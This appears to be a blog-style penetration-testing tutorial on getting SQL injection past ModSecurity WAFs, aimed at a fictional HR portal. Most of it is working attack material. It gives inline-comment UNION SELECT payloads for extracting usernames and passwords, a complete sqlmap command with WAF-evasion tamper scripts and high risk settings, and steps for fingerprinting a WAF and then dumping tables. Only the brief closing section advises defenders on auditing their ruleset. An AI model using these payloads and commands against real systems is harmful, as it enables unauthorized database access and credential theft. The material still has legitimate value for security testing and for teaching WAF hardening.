In 2025, the MOVEit-style wave hadn’t fully died down when researchers started cataloging a new cluster of SQLi vulnerabilities in enterprise HR portals — all sitting behind ModSecurity WAFs that teams assumed were doing the heavy lifting. They weren’t. WAFs slow attackers down; they rarely stop a determined one who knows how encoding and query fragmentation work.
This post walks through two advanced techniques: chunked keyword obfuscation to slip past signature-based WAFs, and time-based blind injection when you have zero output to work with. Both are demonstrated against a fictional target: app.intranet-hr.corp at 192.0.2.47.
Technique 1: WAF Bypass via Keyword Chunking and Inline Comments
Most WAFs block obvious strings like UNION SELECT or OR 1=1. The fix is simple: break those strings apart using MySQL’s inline comment syntax. The database engine ignores the comments and reconstructs the keyword; the WAF’s regex sees noise and passes it through.
Here’s a classic blocked payload versus a bypass that works against ModSecurity with the OWASP CRS ruleset at default sensitivity:
# Blocked by WAF
https://192.0.2.47/search?name=' UNION SELECT username,password FROM users--
# Bypass using inline comment fragmentation
https://192.0.2.47/search?name=' /*!UNION*/ /*!SELECT*/ username,password /*!FROM*/ users--
The /*! ... */ syntax is a MySQL-specific executable comment. The database runs everything inside it; WAF pattern matchers scanning for literal UNION SELECT as a contiguous string miss it entirely. You can go further by mixing case and inserting URL encoding: %55NION decodes to UNION after the WAF’s normalization pass if that pass is misconfigured.
What do you do next? Confirm you have column count parity by incrementing a NULL payload until the response stabilizes, then map data types. From there it’s a standard UNION-based extraction.
Technique 2: Time-Based Blind SQLi When There’s No Output
Blind injection is the norm, not the exception. The application returns a generic page whether your query is true or false. Time-based inference is your fallback: inject a conditional sleep and measure response latency. A delay confirms execution.
Run sqlmap — an open-source SQL injection automation tool — with a tamper script to handle the WAF and force time-based technique:
sqlmap -u "https://192.0.2.47/api/employee?id=1" \
--cookie="session=eyJhbGciOiJIUzI1NiJ9.dXNlcl9pZDo0Mg.abc123" \
--technique=T \
--dbms=mysql \
--tamper=space2comment,charencode \
--level=5 \
--risk=3 \
--batch \
-p id
A successful detection looks like this:
[12:34:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:34:22] [INFO] POST parameter 'id' appears to be
'MySQL >= 5.0.12 AND time-based blind' injectable
[12:34:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[12:34:23] [INFO] fetching current database
[12:34:23] [INFO] retrieved: hr_production
That 5-second lag between the request at 12:34:17 and the confirmed result tells you the SLEEP() call executed. The tamper scripts space2comment and charencode handled WAF evasion — spaces become /**/ and characters get percent-encoded in a second pass.
Now you know the database name is hr_production. Next step: enumerate tables with --tables -D hr_production, then dump target columns. In a real engagement you’d pair this with --output-dir to keep evidence clean and timestamped.
Reading WAF Behavior Before You Inject
Spraying payloads blindly wastes time and triggers lockouts. Fingerprint the WAF first. wafw00f — a WAF detection tool — identifies the product in seconds:
wafw00f https://192.0.2.47
[*] Checking https://192.0.2.47
[+] The site https://192.0.2.47 is behind ModSecurity (OWASP CRS)
[+] Number of requests: 7
ModSecurity with OWASP CRS means you’re dealing with paranoia-level rules. Its weaknesses are well-documented: it struggles with multipart boundary manipulation, JSON body injection, and the inline comment technique above. A commercial WAF like Imperva or Akamai needs different treatment — typically HTTP parameter pollution or header injection to shift the parsing context.
Once you know the product, search wafbypass.io or the WAF vendor’s public CVE list for recent bypass disclosures. Defenders can use the same fingerprint to audit their own rule tuning — if wafw00f identifies you from the outside, an attacker will too, and they’ll know exactly which bypass list to pull up.
What To Do Now
Pick one internal or staging application your team owns and run wafw00f against it right now. If it identifies your WAF product, check the OWASP CRS changelog for the last 90 days — specifically any rules added in response to bypass disclosures. Cross-reference your deployed CRS version against the latest release. If you’re more than one minor version behind, that gap is your exposure. Patch the ruleset before an attacker maps the same delta.
